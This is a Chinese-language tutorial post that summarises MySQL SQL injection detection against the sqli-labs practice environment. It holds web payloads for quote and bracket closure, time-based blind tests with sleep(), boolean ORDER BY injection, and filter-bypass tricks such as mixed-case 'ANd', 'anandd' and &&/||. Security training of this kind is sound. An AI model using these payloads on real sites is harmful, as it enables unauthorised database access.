文章来自赛克艾威安全社区 id:ff1209125020,感谢ff1209125020学员的用心总结,主要针对目前主流的mysql数据库SQL注入检测语句及原理进行总结,攻击靶场环境使用sqli,特点:语言精炼,思路清晰,希望大家有所收获,如有疑问欢迎留言
一、判断变量处理和单引号括号有没有关系:
1、加 " ' ": http://x.x.x.x/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系
输出异常:最后在加上 “--+” :http://x.x.x.x/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试 id=1' and '1'='1 和 id=1' and '1'='2
2、尝试:id=1')
输出异常:最后在加上 “--+”:http://x.x.x.x/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试 id=1') and ('1')=('1 和 id=1') and ('1')=('2
3、尝试:id=1'))
输出异常:最后在加上 “--+”:http://x.x.x.x/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试 id=1')) and (('1')=(('1 和 id=1')) and (('1'))=(('2
二、判断变量处理和双引号有没有关系,和以上步骤一样。
- “-”过滤,不用注释符号,使用and闭合
- “and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”
三、尝试:id=1-1 或者 1%2b1 //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号
返回两个数计算过后查询的结果,可能为
- 整型:id=$id
- id=($id)
- id=(($id))
如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法
四、判断时间盲注
比如一个URL:http://x.x.x.x/sqli/less-10/?id=1
输入什么值都显示的页面一致
- id=1 and sleep(4) --+ 或者 id=1) and sleep(4) --+ //延时打开网页,变量处理为:id=$id
- id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+ //延时打开网页,字符串处理为:id='$id' 或者 id="$id"
- id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),
五、判断order by sort 注入
1、修改数字,排序发生变化,为:sort=$sort 或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的
2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和 sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5))) //里面的left()函数返回值和5作比较计算出逻辑值0或1
上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序
这样就可以然后逐位猜解了。
3、利用报错注入order by
如果构造参数值能造成页面显示出错误,可以使用报错注入
就像id参数那样注入,后面跟and 然后报错函数